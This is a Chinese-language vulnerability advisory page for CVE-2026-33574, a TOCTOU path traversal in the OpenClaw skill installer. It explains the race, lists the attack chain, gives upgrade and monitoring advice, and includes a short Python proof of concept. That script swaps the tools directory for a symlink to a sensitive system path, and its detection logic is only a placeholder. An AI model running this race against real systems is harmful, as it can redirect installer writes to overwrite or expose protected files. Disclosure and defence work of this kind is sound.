IPBUF安全漏洞报告
English
CVE-2026-33574 CVSS 6.2 中危

CVE-2026-33574 OpenClaw路径遍历漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-33574
漏洞类型
路径遍历
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

路径遍历OpenClawTOCTOU竞争条件本地漏洞

漏洞概述

OpenClaw 2026.3.8之前版本存在路径遍历漏洞。问题出现在技能下载安装程序中,该组件仅对工具根目录进行词法验证,但在下载和复制操作中重用了可变路径。本地攻击者可在验证与最终写入之间重新绑定工具根路径,将安装流程重定向至预期目录之外,导致敏感文件被读取或覆盖。

技术细节

该漏洞属于典型的TOCTOU(Time-of-check to Time-of-use)竞争条件漏洞,核心在于路径验证与使用之间的状态不一致。在OpenClaw的技能下载安装过程中,程序首先对tools-root路径进行词法层面的安全校验,旨在防止目录遍历攻击。然而,在随后的归档文件下载及解压复制阶段,程序直接重用了之前校验过的可变路径对象引用,而未再次确认其有效性。由于缺乏对路径的原子性操作保护,本地攻击者可以在校验通过后、文件实际写入前的极短时间窗口内,通过符号链接替换或目录重命名等手段重新绑定该路径。这使得攻击者能够将原本应写入受控工具目录的文件,恶意重定向至系统任意敏感位置。鉴于CVSS评分为6.2且机密性影响为高,攻击者可利用此机制读取受限文件,导致严重的信息泄露风险。

攻击链分析

STEP 1
步骤1
本地攻击者触发OpenClaw的技能下载安装程序,程序开始对tools-root路径进行安全校验。
STEP 2
步骤2
程序完成词法验证,确认路径安全,准备进行归档文件的下载与解压操作(Check阶段完成)。
STEP 3
步骤3
在验证通过与实际文件写入之间的极短时间窗口内,攻击者利用竞争条件将tools-root路径替换为指向敏感目录的符号链接(Rebinding)。
STEP 4
步骤4
安装程序执行写入操作(Use阶段),由于直接使用了已被篡改的路径变量,文件被写入到了攻击者指定的非预期位置。
STEP 5
步骤5
攻击者成功读取或覆盖了系统敏感文件,导致机密性泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-33574 (TOCTOU Path Traversal) # This script simulates the race condition by monitoring and swapping the directory. import os import time import sys MALICIOUS_TARGET = "/etc/sensitive_dir" ORIGINAL_DIR = "/var/tmp/openclaw/tools" print(f"[*] Starting PoC for CVE-2026-33574") print(f"[*] Targeting path: {ORIGINAL_DIR}") try: # Ensure the original directory exists if not os.path.exists(ORIGINAL_DIR): os.makedirs(ORIGINAL_DIR) # Monitor for the installer process (simulated) # In a real scenario, one might use inotify or ptrace while True: # Simulate the 'Check' phase passing if "installer_running": # Placeholder for actual detection logic print("[!] Installer detected, attempting race condition...") # Step 1: Rename original directory (simulating the 'Check' validation) if os.path.exists(ORIGINAL_DIR): os.rename(ORIGINAL_DIR, ORIGINAL_DIR + ".bak") # Step 2: Create a symlink to the malicious target (Rebinding) os.symlink(MALICIOUS_TARGET, ORIGINAL_DIR) print(f"[+] Path rebound to {MALICIOUS_TARGET}") # Step 3: Wait for the 'Use' phase (Write operation) time.sleep(0.1) # Step 4: Restore original state to avoid detection/crashes os.remove(ORIGINAL_DIR) os.rename(ORIGINAL_DIR + ".bak", ORIGINAL_DIR) print("[+] Path restored") break except Exception as e: print(f"[-] Error: {e}")

影响范围

OpenClaw < 2026.3.8

防御指南

临时缓解措施
建议用户立即升级至OpenClaw 2026.3.8或更高版本以修复此漏洞。如果暂时无法升级,应严格限制本地用户的执行权限,避免运行不可信的安装程序,并在系统层面监控文件系统的异常写入行为,特别是针对符号链接的创建与替换操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表